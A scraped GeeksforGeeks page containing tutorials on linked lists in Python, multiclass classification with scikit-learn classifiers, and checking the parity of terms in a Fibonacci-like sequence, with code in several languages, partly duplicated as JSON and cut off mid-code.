"Storage is preferred over performance and not all elements get a separate node of their own" }, { "code": null, "e": 2893, "s": 2862, "text": "Method 2: Using llist package." }, { "code": null, "e": 3038, "s": 2893, "text": "The llist is an extension module for CPython providing basic linked list data structures. The type is given below command in your command line: " }, { "code": null, "e": 3056, "s": 3038, "text": "pip install llist" }, { "code": null, "e": 3104, "s": 3056, "text": "Below is the implementation of the linked list:" }, { "code": null, "e": 3112, "s": 3104, "text": "Python3" }, { "code": "# importing packagesimport llistfrom llist import sllist,sllistnode # creating a singly linked listlst = sllist(['first','second','third'])print(lst)print(lst.first)print(lst.last)print(lst.size)print() # adding and inserting valueslst.append('fourth')node = lst.nodeat(2) lst.insertafter('fifth',node) print(lst)print(lst.first)print(lst.last)print(lst.size)print() # popping a value#i.e. removing the last entry # of the listlst.pop()print(lst)print(lst.first)print(lst.last)print(lst.size)print() # removing a specific elementnode = lst.nodeat(1)lst.remove(node)print(lst)print(lst.first)print(lst.last)print(lst.size)print()", "e": 3747, "s": 3112, "text": null }, { "code": null, "e": 3757, "s": 3747, "text": " Output: " }, { "code": null, "e": 4058, "s": 3757, "text": "sllist([first, second, third])\nsllistnode(first)\nsllistnode(third)\n3\n\nsllist([first, second, third, fifth, fourth])\nsllistnode(first)\nsllistnode(fourth)\n5\n\nsllist([first, second, third, fifth])\nsllistnode(first)\nsllistnode(fifth)\n4\n\nsllist([first, third, fifth])\nsllistnode(first)\nsllistnode(fifth)\n3" }, { "code": null, "e": 4094, "s": 4058, "text": "Method 3: Using StructLinks package" }, { "code": null, "e": 4258, "s": 4094, "text": "StructLinks is used to easily Access and visualize different Data structures including Linked lists, Doubly Linked lists, Binary trees, Graphs, Stacks, and Queues." }, { "code": null, "e": 4475, "s": 4258, "text": "The structlinks.LinkedList and structlinks.DoublyLikedList modules could be used to make linked lists. All the operations that could be performed with a list could also be performed with structlinks.LinkedList class." }, { "code": null, "e": 4509, "s": 4475, "text": "Click to go to the documentation " }, { "code": null, "e": 4548, "s": 4509, "text": "Type the command in your command line:" }, { "code": null, "e": 4572, "s": 4548, "text": "pip install structlinks" }, { "code": null, "e": 4636, "s": 4572, "text": "Below is the implementation of some methods of the linked list:" }, { "code": null, "e": 4644, "s": 4636, "text": "Python3" }, { "code": "import structlinksfrom structlinks import LinkedList # create an empty linked listlst = LinkedList() # create a linked list with initial valueslst = LinkedList([1, 10.0, 'string']) print(lst) print() print('Elements of list:') # elements of the listelement0 = lst[0]element1 = lst[1]element2 = lst[2] print(f'first element : {element0}')print(f'second element : {element1 }')print(f'third element : {element2}') print() print('Length of list:') # Length of the listlength = len(lst) print(f'size of the list : {length}') print() print('Set item:') # Set itemlst[0] = 10 print(f'list after setting lst[0] to 10 : {lst}') print() print('Append And Insert:') # Append And Insertlst.append('another string')lst.insert(1, 0.0) print(f'list after appending and inserting: {lst}') print() print('Pop and Remove') # Pop and Remove element = lst.pop(0)lst.remove(10.0) print(f'list after popping and removing : {lst}')print(f'pop function also returns the element : {element}') # This code is contributed by eeshannarula29", "e": 5682, "s": 4644, "text": null }, { "code": null, "e": 5691, "s": 5682, "text": "Output: " }, { "code": null, "e": 6019, "s": 5691, "text": "[1 -> 10.0 -> string]\n\nElements of list:\n1\n10.0\nstring\n\nLength of list:\n3\n\nSet item:\nlist after setting lst[0] to 10 : [10 -> 10.0 -> string]\n\nAppend and Insert:\nlist after appending and inserting: [10 -> 0.0 -> 10 -> string -> another string]\n\nPop and Remove:\nlist after popping and removing: [0.0 -> string -> another string]" }, { "code": null, "e": 6034, "s": 6019, "text": "eeshannarula29" }, { "code": null, "e": 6042, "s": 6034, "text": "clintra" }, { "code": null, "e": 6051, "s": 6042, "text": "sweetyty" }, { "code": null, "e": 6065, "s": 6051, "text": "sumitgumber28" }, { "code": null, "e": 6082, "s": 6065, "text": "surinderdawra388" }, { "code": null, "e": 6095, "s": 6082, "text": "Linked Lists" }, { "code": null, "e": 6116, "s": 6095, "text": "Python DSA-exercises" }, { "code": null, "e": 6144, "s": 6116, "text": "Python LinkedList-exercises" }, { "code": null, "e": 6167, "s": 6144, "text": "Python-Data-Structures" }, { "code": null, "e": 6182, "s": 6167, "text": "python-modules" }, { "code": null, "e": 6189, "s": 6182, "text": "Python" }, { "code": null, "e": 6287, "s": 6189, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 6305, "s": 6287, "text": "Python Dictionary" }, { "code": null, "e": 6347, "s": 6305, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 6369, "s": 6347, "text": "Enumerate() in Python" }, { "code": null, "e": 6401, "s": 6369, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 6427, "s": 6401, "text": "Python String | replace()" }, { "code": null, "e": 6456, "s": 6427, "text": "*args and **kwargs in Python" }, { "code": null, "e": 6483, "s": 6456, "text": "Python Classes and Objects" }, { "code": null, "e": 6504, "s": 6483, "text": "Python OOPs Concepts" }, { "code": null, "e": 6527, "s": 6504, "text": "Introduction To PYTHON" } ]
Multiclass classification using scikit-learn
28 Jun, 2022 Multiclass classification is a popular problem in supervised machine learning. Problem – Given a dataset of m training examples, each of which contains information in the form of various features and a label. Each label corresponds to a class, to which the training example belongs. In multiclass classification, we have a finite set of classes. Each training example also has n features. For example, in the case of identification of different types of fruits, “Shape”, “Color”, “Radius” can be featured, and “Apple”, “Orange”, “Banana” can be different class labels. In a multiclass classification, we train a classifier using our training data and use this classifier for classifying new examples. Aim of this article – We will use different multiclass classification methods such as, KNN, Decision trees, SVM, etc. We will compare their accuracy on test data. We will perform all this with sci-kit learn (Python). For information on how to install and use sci-kit learn, visit http://scikit-learn.org/stable/ Approach – Load dataset from the source.Split the dataset into “training” and “test” data.Train Decision tree, SVM, and KNN classifiers on the training data.Use the above classifiers to predict labels for the test data.Measure accuracy and visualize classification. Load dataset from the source. Split the dataset into “training” and “test” data. Train Decision tree, SVM, and KNN classifiers on the training data. Use the above classifiers to predict labels for the test data. Measure accuracy and visualize classification. Decision tree classifier – A decision tree classifier is a systematic approach for multiclass classification. It poses a set of questions to the dataset (related to its attributes/features). The decision tree classification algorithm can be visualized on a binary tree. On the root and each of the internal nodes, a question is posed and the data on that node is further split into separate records that have different characteristics. The leaves of the tree refer to the classes in which the dataset is split. In the following code snippet, we train a decision tree classifier in scikit-learn. Python # importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a DescisionTreeClassifierfrom sklearn.tree import DecisionTreeClassifierdtree_model = DecisionTreeClassifier(max_depth = 2).fit(X_train, y_train)dtree_predictions = dtree_model.predict(X_test) # creating a confusion matrixcm = confusion_matrix(y_test, dtree_predictions) SVM (Support vector machine) classifier – SVM (Support vector machine) is an efficient classification method when the feature vector is high dimensional. In sci-kit learn, we can specify the kernel function (here, linear). To know more about kernel functions and SVM refer – Kernel function | sci-kit learn and SVM. Python # importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a linear SVM classifierfrom sklearn.svm import SVCsvm_model_linear = SVC(kernel = 'linear', C = 1).fit(X_train, y_train)svm_predictions = svm_model_linear.predict(X_test) # model accuracy for X_test accuracy = svm_model_linear.score(X_test, y_test) # creating a confusion matrixcm = confusion_matrix(y_test, svm_predictions) KNN (k-nearest neighbors) classifier – KNN or k-nearest neighbors is the simplest classification algorithm. This classification algorithm does not depend on the structure of the data. Whenever a new example is encountered, its k nearest neighbors from the training data are examined. Distance between two examples can be the euclidean distance between their feature vectors. The majority class among the k nearest neighbors is taken to be the class for the encountered example. Python # importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a KNN classifierfrom sklearn.neighbors import KNeighborsClassifierknn = KNeighborsClassifier(n_neighbors = 7).fit(X_train, y_train) # accuracy on X_testaccuracy = knn.score(X_test, y_test)print accuracy # creating a confusion matrixknn_predictions = knn.predict(X_test) cm = confusion_matrix(y_test, knn_predictions) Naive Bayes classifier – Naive Bayes classification method is based on Bayes’ theorem. It is termed as ‘Naive’ because it assumes independence between every pair of features in the data. Let (x1, x2, ..., xn) be a feature vector and y be the class label corresponding to this feature vector.Applying Bayes’ theorem, Since, x1, x2, ..., xn are independent of each other, Inserting proportionality by removing the P(x1, ..., xn) (since it is constant). Therefore, the class label is decided by, P(y) is the relative frequency of class label y in the training dataset.In the case of the Gaussian Naive Bayes classifier, P(xi | y) is calculated as, Python # importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a Naive Bayes classifierfrom sklearn.naive_bayes import GaussianNBgnb = GaussianNB().fit(X_train, y_train)gnb_predictions = gnb.predict(X_test) # accuracy on X_testaccuracy = gnb.score(X_test, y_test)print accuracy # creating a confusion matrixcm = confusion_matrix(y_test, gnb_predictions) References – http://scikit-learn.org/stable/modules/naive_bayes.htmlhttps://en.wikipedia.org/wiki/Multiclass_classificationhttp://scikit-learn.org/stable/documentation.htmlhttp://scikit-learn.org/stable/modules/tree.htmlhttp://scikit-learn.org/stable/modules/svm.html#svm-kernelshttps://www.analyticsvidhya.com/blog/2015/10/understaing-support-vector-machine-example-code/ http://scikit-learn.org/stable/modules/naive_bayes.html https://en.wikipedia.org/wiki/Multiclass_classification http://scikit-learn.org/stable/documentation.html http://scikit-learn.org/stable/modules/tree.html http://scikit-learn.org/stable/modules/svm.html#svm-kernels https://www.analyticsvidhya.com/blog/2015/10/understaing-support-vector-machine-example-code/ This article is contributed by Arik Pamnani. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. Akanksha_Rai tanwarsinghvaibhav Machine Learning Machine Learning Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 54, "s": 26, "text": "\n28 Jun, 2022" }, { "code": null, "e": 133, "s": 54, "text": "Multiclass classification is a popular problem in supervised machine learning." }, { "code": null, "e": 444, "s": 133, "text": "Problem – Given a dataset of m training examples, each of which contains information in the form of various features and a label. Each label corresponds to a class, to which the training example belongs. In multiclass classification, we have a finite set of classes. Each training example also has n features. " }, { "code": null, "e": 625, "s": 444, "text": "For example, in the case of identification of different types of fruits, “Shape”, “Color”, “Radius” can be featured, and “Apple”, “Orange”, “Banana” can be different class labels. " }, { "code": null, "e": 758, "s": 625, "text": "In a multiclass classification, we train a classifier using our training data and use this classifier for classifying new examples. " }, { "code": null, "e": 1070, "s": 758, "text": "Aim of this article – We will use different multiclass classification methods such as, KNN, Decision trees, SVM, etc. We will compare their accuracy on test data. We will perform all this with sci-kit learn (Python). For information on how to install and use sci-kit learn, visit http://scikit-learn.org/stable/" }, { "code": null, "e": 1083, "s": 1070, "text": "Approach – " }, { "code": null, "e": 1338, "s": 1083, "text": "Load dataset from the source.Split the dataset into “training” and “test” data.Train Decision tree, SVM, and KNN classifiers on the training data.Use the above classifiers to predict labels for the test data.Measure accuracy and visualize classification." }, { "code": null, "e": 1368, "s": 1338, "text": "Load dataset from the source." }, { "code": null, "e": 1419, "s": 1368, "text": "Split the dataset into “training” and “test” data." }, { "code": null, "e": 1487, "s": 1419, "text": "Train Decision tree, SVM, and KNN classifiers on the training data." }, { "code": null, "e": 1550, "s": 1487, "text": "Use the above classifiers to predict labels for the test data." }, { "code": null, "e": 1597, "s": 1550, "text": "Measure accuracy and visualize classification." }, { "code": null, "e": 2192, "s": 1597, "text": "Decision tree classifier – A decision tree classifier is a systematic approach for multiclass classification. It poses a set of questions to the dataset (related to its attributes/features). The decision tree classification algorithm can be visualized on a binary tree. On the root and each of the internal nodes, a question is posed and the data on that node is further split into separate records that have different characteristics. The leaves of the tree refer to the classes in which the dataset is split. In the following code snippet, we train a decision tree classifier in scikit-learn." }, { "code": null, "e": 2199, "s": 2192, "text": "Python" }, { "code": "# importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a DescisionTreeClassifierfrom sklearn.tree import DecisionTreeClassifierdtree_model = DecisionTreeClassifier(max_depth = 2).fit(X_train, y_train)dtree_predictions = dtree_model.predict(X_test) # creating a confusion matrixcm = confusion_matrix(y_test, dtree_predictions)", "e": 2868, "s": 2199, "text": null }, { "code": null, "e": 3184, "s": 2868, "text": "SVM (Support vector machine) classifier – SVM (Support vector machine) is an efficient classification method when the feature vector is high dimensional. In sci-kit learn, we can specify the kernel function (here, linear). To know more about kernel functions and SVM refer – Kernel function | sci-kit learn and SVM." }, { "code": null, "e": 3191, "s": 3184, "text": "Python" }, { "code": "# importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a linear SVM classifierfrom sklearn.svm import SVCsvm_model_linear = SVC(kernel = 'linear', C = 1).fit(X_train, y_train)svm_predictions = svm_model_linear.predict(X_test) # model accuracy for X_test accuracy = svm_model_linear.score(X_test, y_test) # creating a confusion matrixcm = confusion_matrix(y_test, svm_predictions)", "e": 3916, "s": 3191, "text": null }, { "code": null, "e": 4395, "s": 3916, "text": "KNN (k-nearest neighbors) classifier – KNN or k-nearest neighbors is the simplest classification algorithm. This classification algorithm does not depend on the structure of the data. Whenever a new example is encountered, its k nearest neighbors from the training data are examined. Distance between two examples can be the euclidean distance between their feature vectors. The majority class among the k nearest neighbors is taken to be the class for the encountered example. " }, { "code": null, "e": 4402, "s": 4395, "text": "Python" }, { "code": "# importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a KNN classifierfrom sklearn.neighbors import KNeighborsClassifierknn = KNeighborsClassifier(n_neighbors = 7).fit(X_train, y_train) # accuracy on X_testaccuracy = knn.score(X_test, y_test)print accuracy # creating a confusion matrixknn_predictions = knn.predict(X_test) cm = confusion_matrix(y_test, knn_predictions)", "e": 5118, "s": 4402, "text": null }, { "code": null, "e": 5435, "s": 5118, "text": "Naive Bayes classifier – Naive Bayes classification method is based on Bayes’ theorem. It is termed as ‘Naive’ because it assumes independence between every pair of features in the data. Let (x1, x2, ..., xn) be a feature vector and y be the class label corresponding to this feature vector.Applying Bayes’ theorem, " }, { "code": null, "e": 5491, "s": 5435, "text": "Since, x1, x2, ..., xn are independent of each other, " }, { "code": null, "e": 5573, "s": 5491, "text": "Inserting proportionality by removing the P(x1, ..., xn) (since it is constant). " }, { "code": null, "e": 5616, "s": 5573, "text": "Therefore, the class label is decided by, " }, { "code": null, "e": 5768, "s": 5616, "text": "P(y) is the relative frequency of class label y in the training dataset.In the case of the Gaussian Naive Bayes classifier, P(xi | y) is calculated as," }, { "code": null, "e": 5775, "s": 5768, "text": "Python" }, { "code": "# importing necessary librariesfrom sklearn import datasetsfrom sklearn.metrics import confusion_matrixfrom sklearn.model_selection import train_test_split # loading the iris datasetiris = datasets.load_iris() # X -> features, y -> labelX = iris.datay = iris.target # dividing X, y into train and test dataX_train, X_test, y_train, y_test = train_test_split(X, y, random_state = 0) # training a Naive Bayes classifierfrom sklearn.naive_bayes import GaussianNBgnb = GaussianNB().fit(X_train, y_train)gnb_predictions = gnb.predict(X_test) # accuracy on X_testaccuracy = gnb.score(X_test, y_test)print accuracy # creating a confusion matrixcm = confusion_matrix(y_test, gnb_predictions)", "e": 6465, "s": 5775, "text": null }, { "code": null, "e": 6479, "s": 6465, "text": "References – " }, { "code": null, "e": 6839, "s": 6479, "text": "http://scikit-learn.org/stable/modules/naive_bayes.htmlhttps://en.wikipedia.org/wiki/Multiclass_classificationhttp://scikit-learn.org/stable/documentation.htmlhttp://scikit-learn.org/stable/modules/tree.htmlhttp://scikit-learn.org/stable/modules/svm.html#svm-kernelshttps://www.analyticsvidhya.com/blog/2015/10/understaing-support-vector-machine-example-code/" }, { "code": null, "e": 6895, "s": 6839, "text": "http://scikit-learn.org/stable/modules/naive_bayes.html" }, { "code": null, "e": 6951, "s": 6895, "text": "https://en.wikipedia.org/wiki/Multiclass_classification" }, { "code": null, "e": 7001, "s": 6951, "text": "http://scikit-learn.org/stable/documentation.html" }, { "code": null, "e": 7050, "s": 7001, "text": "http://scikit-learn.org/stable/modules/tree.html" }, { "code": null, "e": 7110, "s": 7050, "text": "http://scikit-learn.org/stable/modules/svm.html#svm-kernels" }, { "code": null, "e": 7204, "s": 7110, "text": "https://www.analyticsvidhya.com/blog/2015/10/understaing-support-vector-machine-example-code/" }, { "code": null, "e": 7625, "s": 7204, "text": "This article is contributed by Arik Pamnani. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. " }, { "code": null, "e": 7638, "s": 7625, "text": "Akanksha_Rai" }, { "code": null, "e": 7657, "s": 7638, "text": "tanwarsinghvaibhav" }, { "code": null, "e": 7674, "s": 7657, "text": "Machine Learning" }, { "code": null, "e": 7691, "s": 7674, "text": "Machine Learning" } ]
Check if the n-th term is odd or even in a Fibonacci like sequence
02 Jun, 2022 Consider a sequence a0, a1, ..., an, where ai = ai-1 + ai-2. Given a0, a1, and a positive integer n. The task is to find whether an is odd or even.Note that the given sequence is like Fibonacci with the difference that the first two terms can be anything instead of 0 or 1.Examples : Input : a0 = 2, a1 = 4, n =3 Output : Even a2 = 6, a3 = 10 And a3 is even. Input : a0 = 1, a1 = 9, n = 2 Output : Even Method 1: The idea is to find the sequence using the array and check if nth element is even or odd. C++ Java Python3 C# PHP Javascript // CPP Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term#include <bits/stdc++.h>using namespace std;#define MAX 100 // Return if the nth term is even or odd.bool findNature(int a, int b, int n){ int seq[MAX] = { 0 }; seq[0] = a; seq[1] = b; for (int i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd return (seq[n] & 1);} // Driven Programint main(){ int a = 2, b = 4; int n = 3; (findNature(a, b, n) ? (cout << "Odd" << " ") : (cout << "Even" << " ")); return 0;} // Java Program to check if// the nth is odd or even// in a sequence where each// term is sum of previous// two term // Return if the nth// term is even or odd.class GFG{public static int findNature(int a, int b, int n){ int[] seq = new int[100]; seq[0] = a; seq[1] = b; for (int i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd if((seq[n] & 1) != 0) return 1; else return 0;} // Driver Codepublic static void main(String[] args){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n) == 1) System.out.println("Odd "); else System.out.println("Even ");}} // This code is contributed// by mits # Python3 Program to check if# the nth is odd or even in a# sequence where each term is# sum of previous two termMAX = 100; # Return if the nth# term is even or odd.def findNature(a, b, n): seq = [0] * MAX; seq[0] = a; seq[1] = b; for i in range(2, n + 1): seq[i] = seq[i - 1] + seq[i - 2]; # Return true if odd return (seq[n] & 1); # Driver Codea = 2;b = 4;n = 3; if(findNature(a, b, n)): print("Odd");else: print("Even"); # This code is contributed by mits // C# Program to check if the// nth is odd or even in a// sequence where each term// is sum of previous two termusing System; // Return if the nth term// is even or odd.class GFG{public static int findNature(int a, int b, int n){ int[] seq = new int[100]; seq[0] = a; seq[1] = b; for (int i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd if((seq[n] & 1)!=0) return 1; else return 0;} // Driver Codepublic static void Main(){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n) == 1) Console.Write("Odd "); else Console.Write("Even ");}} // This code is contributed// by mits <?php// PHP Program to check if the// nth is odd or even in a// sequence where each term is// sum of previous two term$MAX = 100; // Return if the nth// term is even or odd.function findNature($a, $b, $n){ global $MAX; $seq = array_fill(0,$MAX, 0); $seq[0] = $a; $seq[1] = $b; for ($i = 2; $i <= $n; $i++) $seq[$i] = $seq[$i - 1] + $seq[$i - 2]; // Return true if odd return ($seq[$n] & 1);} // Driver Code$a = 2;$b = 4;$n = 3; if(findNature($a, $b, $n))echo "Odd";elseecho "Even"; // This code is contributed by mits?> <script> // Javascript Program to check if the// nth is odd or even in a// sequence where each term is sum// of previous two termvar MAX = 100; // Return if the nth term is even or odd.function findNature(a, b, n){ var seq = Array(MAX).fill(0); seq[0] = a; seq[1] = b; for (var i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd return (seq[n] & 1);} // Driven Programvar a = 2, b = 4;var n = 3;(findNature(a, b, n) ? (document.write( "Odd" + " ")) : (document.write( "Even" + " "))); </script> Even Method 2 (efficient) : Observe, the nature (odd or even) of the nth term depends on the previous terms, and the nature of the previous term depends on their previous terms and finally depends on the initial value i.e a0 and a1. So, we have four possible scenarios for a0 and a1: Case 1: When a0 an a1 is even In this case each of the value in the sequence will be even only.Case 2: When a0 an a1 is odd In this case, observe a2 is even, a3 is odd, a4 is odd and so on. So, we can say ai is even if i is of form 3*k – 1, else odd.Case 3: When a0 is even and a1 is odd In this case, observe a2 is odd, a3 is even, a4 and a5 is odd, a6 is even and so on. So, we can say, ai is even if i is multiple of 3, else oddCase 4: When a0 is odd and a1 is even In this case, observe a2 and a3 is odd, a4 is even, a5 and a6 is odd, a7 is even and so on. So, we can say, ai is even if i is of the form 3*k + 1, k >= 0, else odd.Below is the implementation of this approach: C++ Java Python3 C# PHP Javascript // CPP Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term#include <bits/stdc++.h>using namespace std; // Return if the nth term is even or odd.bool findNature(int a, int b, int n){ if (n == 0) return (a & 1); if (n == 1) return (b & 1); // If a is even if (!(a & 1)) { // If b is even if (!(b & 1)) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if (!(b & 1)) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); }} // Driven Programint main(){ int a = 2, b = 4; int n = 3; (findNature(a, b, n) ? (cout << "Odd" << " ") : (cout << "Even" << " ")); return 0;} // Java Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term class GFG{// Return if the nth term is even or odd.static boolean findNature(int a, int b, int n){ if (n == 0) return (a & 1)==1?true:false; if (n == 1) return (b & 1)==1?true:false; // If a is even if ((a & 1)==0) { // If b is even if ((b & 1)==0) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if ((b & 1)==0) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); }} // Driven Programpublic static void main(String[] args){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n)) System.out.println("Odd"); else System.out.println("Even"); }}// This Code is contributed by mits # Python3 Program to check if the# nth is odd or even in a# sequence where each term is# sum of previous two term # Return if the nth# term is even or odd.def findNature(a, b, n): if (n == 0): return (a & 1); if (n == 1): return (b & 1); # If a is even if ((a & 1) == 0): # If b is even if ((b & 1) == 0): return False; # If b is odd else: return True if(n % 3 != 0) else False; # If a is odd else: # If b is odd if ((b & 1) == 0): return True if((n - 1) % 3 != 0) else False; # If b is even else: return True if((n + 1) % 3 != 0) else False; # Driver Codea = 2;b = 4;n = 3; if (findNature(a, b, n) == True): print("Odd", end = " ");else: print("Even", end = " "); # This code is contributed by mits // C# Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term class GFG{// Return if the nth term is even or odd.static bool findNature(int a, int b, int n){ if (n == 0) return (a & 1)==1?true:false; if (n == 1) return (b & 1)==1?true:false; // If a is even if ((a & 1)==0) { // If b is even if ((b & 1)==0) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if ((b & 1)==0) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); }} // Driven Programstatic void Main(){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n)) System.Console.WriteLine("Odd"); else System.Console.WriteLine("Even"); }}// This Code is contributed by mits <?php// PHP Program to check if the// nth is odd or even in a// sequence where each term is// sum of previous two term // Return if the nth// term is even or odd.function findNature($a, $b, $n){ if ($n == 0) return ($a & 1); if ($n == 1) return ($b & 1); // If a is even if (!($a & 1)) { // If b is even if (!($b & 1)) return false; // If b is odd else return ($n % 3 != 0); } // If a is odd else { // If b is odd if (!($b & 1)) return (($n - 1) % 3 != 0); // If b is even else return (($n + 1) % 3 != 0); }} // Driver Code$a = 2; $b = 4;$n = 3; if (findNature($a, $b, $n) == true) echo "Odd"," ";else echo "Even"," "; // This code is contributed by ajit?> <script> // Javascript Program to check if the nth is odd or even in a // sequence where each term is sum of previous two term // Return if the nth term is even or odd. function findNature(a, b, n) { if (n == 0) return (a & 1)==1?true:false; if (n == 1) return (b & 1)==1?true:false; // If a is even if ((a & 1)==0) { // If b is even if ((b & 1)==0) return false; // If b is odd else return (n % 3 != 0); } // If a is odd else { // If b is odd if ((b & 1)==0) return ((n - 1) % 3 != 0); // If b is even else return ((n + 1) % 3 != 0); } } let a = 2, b = 4; let n = 3; if(findNature(a, b, n)) document.write("Odd"); else document.write("Even"); // This code is contributed by suresh07.</script> Even jit_t Mithun Kumar rutvik_56 suresh07 simmytarika5 Fibonacci Mathematical Mathematical Fibonacci Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n02 Jun, 2022" }, { "code": null, "e": 314, "s": 28, "text": "Consider a sequence a0, a1, ..., an, where ai = ai-1 + ai-2. Given a0, a1, and a positive integer n. The task is to find whether an is odd or even.Note that the given sequence is like Fibonacci with the difference that the first two terms can be anything instead of 0 or 1.Examples : " }, { "code": null, "e": 435, "s": 314, "text": "Input : a0 = 2, a1 = 4, n =3\nOutput : Even \na2 = 6, a3 = 10\nAnd a3 is even.\n\nInput : a0 = 1, a1 = 9, n = 2\nOutput : Even" }, { "code": null, "e": 536, "s": 435, "text": "Method 1: The idea is to find the sequence using the array and check if nth element is even or odd. " }, { "code": null, "e": 540, "s": 536, "text": "C++" }, { "code": null, "e": 545, "s": 540, "text": "Java" }, { "code": null, "e": 553, "s": 545, "text": "Python3" }, { "code": null, "e": 556, "s": 553, "text": "C#" }, { "code": null, "e": 560, "s": 556, "text": "PHP" }, { "code": null, "e": 571, "s": 560, "text": "Javascript" }, { "code": "// CPP Program to check if the nth is odd or even in a// sequence where each term is sum of previous two term#include <bits/stdc++.h>using namespace std;#define MAX 100 // Return if the nth term is even or odd.bool findNature(int a, int b, int n){ int seq[MAX] = { 0 }; seq[0] = a; seq[1] = b; for (int i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd return (seq[n] & 1);} // Driven Programint main(){ int a = 2, b = 4; int n = 3; (findNature(a, b, n) ? (cout << \"Odd\" << \" \") : (cout << \"Even\" << \" \")); return 0;}", "e": 1245, "s": 571, "text": null }, { "code": "// Java Program to check if// the nth is odd or even// in a sequence where each// term is sum of previous// two term // Return if the nth// term is even or odd.class GFG{public static int findNature(int a, int b, int n){ int[] seq = new int[100]; seq[0] = a; seq[1] = b; for (int i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd if((seq[n] & 1) != 0) return 1; else return 0;} // Driver Codepublic static void main(String[] args){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n) == 1) System.out.println(\"Odd \"); else System.out.println(\"Even \");}} // This code is contributed// by mits", "e": 1946, "s": 1245, "text": null }, { "code": "# Python3 Program to check if# the nth is odd or even in a# sequence where each term is# sum of previous two termMAX = 100; # Return if the nth# term is even or odd.def findNature(a, b, n): seq = [0] * MAX; seq[0] = a; seq[1] = b; for i in range(2, n + 1): seq[i] = seq[i - 1] + seq[i - 2]; # Return true if odd return (seq[n] & 1); # Driver Codea = 2;b = 4;n = 3; if(findNature(a, b, n)): print(\"Odd\");else: print(\"Even\"); # This code is contributed by mits", "e": 2438, "s": 1946, "text": null }, { "code": "// C# Program to check if the// nth is odd or even in a// sequence where each term// is sum of previous two termusing System; // Return if the nth term// is even or odd.class GFG{public static int findNature(int a, int b, int n){ int[] seq = new int[100]; seq[0] = a; seq[1] = b; for (int i = 2; i <= n; i++) seq[i] = seq[i - 1] + seq[i - 2]; // Return true if odd if((seq[n] & 1)!=0) return 1; else return 0;} // Driver Codepublic static void Main(){ int a = 2, b = 4; int n = 3; if(findNature(a, b, n) == 1) Console.Write(\"Odd \"); else Console.Write(\"Even \");}} // This code is contributed// by mits", "e": 3139, "s": 2438, "text": null }, { "code": "<?php// PHP Program to check if the// nth is odd or even in a// sequence where each term is// sum of previous two term$MAX = 100; // Return if the nth// term is even or odd.function 